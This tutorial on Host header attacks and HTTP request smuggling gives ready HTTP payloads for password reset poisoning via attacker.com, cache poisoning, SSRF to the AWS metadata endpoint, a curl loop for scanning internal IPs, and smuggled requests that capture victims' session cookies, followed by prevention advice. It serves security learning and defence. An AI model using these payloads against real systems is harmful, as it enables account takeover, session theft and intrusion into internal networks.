1. Host Header: Password Reset Poisoning
When a user requests a password reset, many applications build the reset link dynamically using the Host header value from the incoming request: https://{Host}/reset?token=abc123. If the application trusts the Host header without validation, an attacker can inject a malicious host to redirect the reset link to a server they control.
# Attacker submits a reset request for the victim's email
# but supplies their own domain in the Host header
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=stephane%40target.com
# The application builds the reset link:
# "Click here: https://attacker.com/reset?token=SECRET_TOKEN"
# and sends it to [email protected]
# When stephane clicks the link:
GET /reset?token=SECRET_TOKEN HTTP/1.1
Host: attacker.com
# Attacker's server logs the token
# Attacker now resets stephane's password using the captured token
POST /reset?token=SECRET_TOKEN HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
new_password=hacked123&confirm=hacked123
X-Forwarded-Host Variant
Many load balancers strip or override the Host header but forward the original value in X-Forwarded-Host. Applications that prefer X-Forwarded-Host for link generation are vulnerable even when Host is validated.
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=stephane%40target.com
2. Host Header: Web Cache Poisoning
Web caches key responses on the URL (and sometimes other headers), but may store and serve a response that was generated using an arbitrary Host header value. If the Host header influences the response content (e.g., JavaScript import paths, canonical links, redirect URLs) and the cache does not include Host in its cache key, the poisoned response is served to all subsequent users requesting the same URL.
# Observe that the home page includes a script tag built from Host:
# <script src="//target.com/static/app.js"></script>
# Send a request with a malicious Host — add a cache-buster first
GET / HTTP/1.1
Host: attacker.com
X-Cache-Buster: 1
# Response contains
# <script src="//attacker.com/static/app.js"></script>
# If the cache stores this response (Host not in cache key):
GET / HTTP/1.1
Host: target.com
# Returns poisoned response from cache
# All visitors now load JavaScript from attacker.com
# Check whether response is cached
# Look for X-Cache: HIT or Age: N in response headers
# Or use Param Miner Burp extension — automatically detects unkeyed inputs
Confirming Host is Unkeyed
# Step 1: Make a request with a unique cache-busting param and a canary Host
GET /?cb=masaaki001 HTTP/1.1
Host: CANARY.attacker.com
# Step 2: Make the same URL request with the real Host
GET /?cb=masaaki001 HTTP/1.1
Host: target.com
# If response contains CANARY.attacker.com → Host is reflected AND unkeyed → poisonable
3. Host Header: Routing-Based SSRF
In architectures with a front-end reverse proxy that routes requests based on the Host header, supplying an internal hostname or IP address in the Host header can cause the proxy to forward the request to internal services that should not be internet-accessible.
# Normal request — proxy routes to public application
GET / HTTP/1.1
Host: target.com
# SSRF via Host — route to internal admin interface
GET / HTTP/1.1
Host: internal-admin.target.internal
# SSRF via Host — probe internal IP range
GET / HTTP/1.1
Host: 192.168.0.1
# SSRF via Host — AWS metadata service
GET /latest/meta-data/ HTTP/1.1
Host: 169.254.169.254
# Scan internal IP ranges for active hosts via Host header
for i in $(seq 1 254); do
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Host: 192.168.0.$i" https://target.com/)
echo "192.168.0.$i: $CODE"
done
4. SSRF via X-Forwarded-Host, X-Host, X-Forwarded-Server
When the Host header itself is locked by the proxy (replaced with the internal service hostname), alternative override headers may still be forwarded and trusted by the back-end application.
GET /admin HTTP/1.1
Host: target.com
X-Forwarded-Host: 169.254.169.254
GET /admin HTTP/1.1
Host: target.com
X-Host: internal-admin.target.internal
GET /admin HTTP/1.1
Host: target.com
X-Forwarded-Server: attacker.com
GET /admin HTTP/1.1
Host: target.com
X-Original-URL: /admin/secrets
GET /admin HTTP/1.1
Host: target.com
X-Rewrite-URL: /admin/secrets
The attack surface varies per framework. Django trusts ALLOWED_HOSTS but may read X-Forwarded-Host for link generation. Spring Boot trusts ForwardedHeaderFilter configuration. Express.js uses the trust proxy setting. Always test every override header variant — one will often work even when others fail.
5. Request Smuggling: CL.TE
HTTP request smuggling exploits disagreements between how a front-end and back-end server parse HTTP/1.1 message boundaries. In a CL.TE attack, the front-end proxy uses Content-Length to determine request boundaries while the back-end uses Transfer-Encoding: chunked. The attacker crafts a request with both headers — the front-end forwards what it thinks is one complete request, but the back-end interprets the chunked encoding differently, leaving bytes in the pipeline that prefix the next legitimate request.
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Explanation: The front-end reads Content-Length: 13, so it forwards 13 bytes of body: 0\r\n\r\nSMUGGLED. The back-end reads Transfer-Encoding: chunked — the 0 chunk terminates the first request. The bytes SMUGGLED remain in the TCP buffer and are prepended to the next request processed by that back-end connection.
# CL.TE detection — time-delay technique
# If the back-end uses TE, the 0-chunk terminates the request
# but Content-Length says there are more bytes to come
# Back-end waits for the remainder → observable timeout
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# If this causes a ~10 second timeout → CL.TE is present
6. Request Smuggling: TE.CL
In a TE.CL attack, the front-end uses Transfer-Encoding: chunked and the back-end uses Content-Length. The front-end forwards the full chunked body; the back-end reads only as many bytes as Content-Length specifies — leaving the remainder to poison the next request.
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
The front-end reads Transfer-Encoding: chunked. It processes the 0x5c = 92 byte chunk (the GPOST request) and the terminating 0-chunk, then forwards it all. The back-end reads Content-Length: 4 — only the bytes 5c\r\n constitute the first request. Everything after byte 4 (GPOST / HTTP/1.1\r\n...) sits in the pipeline and prefixes the next real request, causing the back-end to process a GPOST request which may have different access control rules.
# TE.CL detection — time delay
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# Or use Burp HTTP Request Smuggler extension — auto-detects CL.TE / TE.CL
7. Smuggling to Bypass Front-End Access Controls
A common architecture has a reverse proxy enforcing access controls (blocking requests to /admin), with the back-end trusting all traffic because it assumes the proxy has already performed authorization. Request smuggling allows an attacker to inject a request that bypasses the proxy's ACL check entirely.
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
The front-end blocks direct GET /admin requests. But the smuggled GET /admin arrives at the back-end as part of the poisoned pipeline — the back-end never sees the original request headers that the proxy would use to enforce the ACL. The back-end processes the smuggled admin request with no proxy-level filtering.
8. Smuggling to Capture Another User's Request
By poisoning the request pipeline with an open-ended partial request, the attacker can cause the back-end to append a subsequent victim user's request body onto the attacker's own response — effectively delivering the victim's full request (including cookies, session tokens, and POST body) to the attacker.
# Step 1: Post the capture payload
# The smuggled POST to /capture sends arbitrary data to the application
# The body is left deliberately short — Content-Length: 400
# The back-end waits for 400 bytes, consuming the NEXT user's request as body
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: target.com
Cookie: session=ATTACKER_SESSION
Content-Length: 400
Content-Type: application/x-www-form-urlencoded
comment=CAPTURE_START
# Step 2: The next user's request arrives at the back-end
# It gets appended to the smuggled comment as body (because CL: 400)
# Result stored in the comment database:
# "CAPTURE_STARTcookie=session=VICTIM_TOKEN&csrf=...GET /profile HTTP/1.1...
# Step 3: Attacker reads their own comment
GET /post/comment?id=99 HTTP/1.1
Host: target.com
Cookie: session=ATTACKER_SESSION
# Response contains victim's session token in the comment body
9. HTTP/2 Desync — H2.CL and H2.TE
HTTP/2 has no concept of a Content-Length body boundary — framing is done at the binary protocol level. When a front-end server speaks HTTP/2 to the client but downgrades to HTTP/1.1 when communicating with the back-end, it must convert the HTTP/2 request into HTTP/1.1 format. This translation process creates new smuggling opportunities.
H2.CL — HTTP/2 with Downgraded Content-Length
The attacker sends an HTTP/2 request with an injected Content-Length header that differs from the actual frame length. The front-end honors the HTTP/2 framing for its own parsing but forwards the attacker-specified Content-Length to the back-end. The back-end uses Content-Length to determine message boundaries — classic smuggling from there.
# HTTP/2 request (Burp HTTP/2 tab, enable Allow HTTP/2 ALPN override)
# Header: :method POST
# :path /
# :authority target.com
# content-type application/x-www-form-urlencoded
# content-length 0 ← injected, wrong length
# Body: GPOST / HTTP/1.1\r\nHost: target.com\r\n\r\n
# Front-end sees H2 frame, the body is valid at H2 layer
# Down-converts to HTTP/1.1 with Content-Length: 0
# Back-end reads 0 bytes as body → rest of body is leftover in pipeline
# → GPOST / HTTP/1.1 prefixes next request on that back-end connection
H2.TE — Transfer-Encoding Injection in HTTP/2
HTTP/2 forbids the Transfer-Encoding header. If the front-end naively passes an attacker-injected transfer-encoding: chunked header through to the HTTP/1.1 back-end, the back-end uses it for framing while the front-end used HTTP/2 framing — a full TE.CL-style desync via the H2 path.
# Inject transfer-encoding header into H2 request
# :method POST
# :path /
# :authority target.com
# transfer-encoding: chunked ← should be rejected by H2 but forwarded by vulnerable proxies
# content-length: 4
# Body:
5c
GPOST / HTTP/1.1
Host: target.com
...
0
# If front-end forwards transfer-encoding header:
# Back-end sees both content-length and transfer-encoding
# Uses chunked (per RFC) → TE.CL desync
Header Injection via HTTP/2 CRLF
# HTTP/2 header values cannot contain CRLF at the H2 layer
# But some front-ends don't strip \r\n before downgrading to HTTP/1.1
# Inject a fake header into the downgraded HTTP/1.1 request:
# H2 header: foo: bar\r\nTransfer-Encoding: chunked
# After downgrade, the back-end sees two headers:
# foo: bar
# Transfer-Encoding: chunked
# Enabling TE-based smuggling via H2
Request Tunnel via HTTP/2
# H2 tunneling: inject a complete second request in the H2 body
# Front-end uses H2 multiplexing — each stream is isolated
# But if front-end rewrites the body into a single HTTP/1.1 connection
# the injected HTTP/1.1 request inside the body becomes a real request
POST / HTTP/2
Host: target.com
Content-Length: 90
# body contains a complete HTTP/1.1 request
GET /admin HTTP/1.1
Host: internal.target.com
X-Ignore: X
10. Prevention
Validate and Lock the Host Header
Maintain an explicit allow-list of expected Host header values server-side. Reject requests with Host values not in the list. Never use the Host header dynamically to build URLs in password reset emails, link generation, or cache keys without validation.
Never Trust Override Headers
Strip X-Forwarded-Host, X-Host, X-Forwarded-Server, X-Original-URL, and X-Rewrite-URL at the perimeter (load balancer / reverse proxy). Never forward these headers to the back-end application unless you have a controlled, trusted chain.
Include Host in Cache Keys
Configure your caching layer (Varnish, Nginx proxy_cache, CDN) to include the Host header in the cache key. Alternatively, normalise the Host header at the proxy before caching. Audit which headers influence response content without being part of the cache key.
Disable Routing by User-Supplied Host
Front-end proxies should route based on a fixed virtual host configuration, not dynamically based on the incoming Host header value. An attacker-supplied Host of 192.168.0.1 should never cause the proxy to forward to that IP.
Normalize HTTP Requests at the Front-End
Configure the front-end server to normalize and resolve ambiguous CL/TE headers before forwarding. Use HTTP/2 end-to-end (H2C) where possible to eliminate HTTP/1.1 downgrade desync. Reject requests with both Content-Length and Transfer-Encoding headers present simultaneously.
Reject Ambiguous Transfer-Encoding
The RFC states that if both Content-Length and Transfer-Encoding are present, Transfer-Encoding takes precedence and Content-Length should be removed. Enforce this at the front-end — don't forward both headers to the back-end where a different precedence rule may apply.
End-to-End HTTP/2 or Connection Isolation
To eliminate request smuggling at the protocol boundary, use end-to-end HTTP/2 between all tiers. If HTTP/1.1 is required on the back-end leg, disable connection reuse (keepalive) — this prevents pipeline poisoning but has a performance cost.
Harden HTTP/2 Header Forwarding
Strip CRLF sequences from all HTTP/2 header values before downgrading to HTTP/1.1. Reject H2 requests containing Transfer-Encoding, Connection, or Keep-Alive headers (forbidden by RFC 9113). Use an HTTP/2 library that enforces this at the parsing level.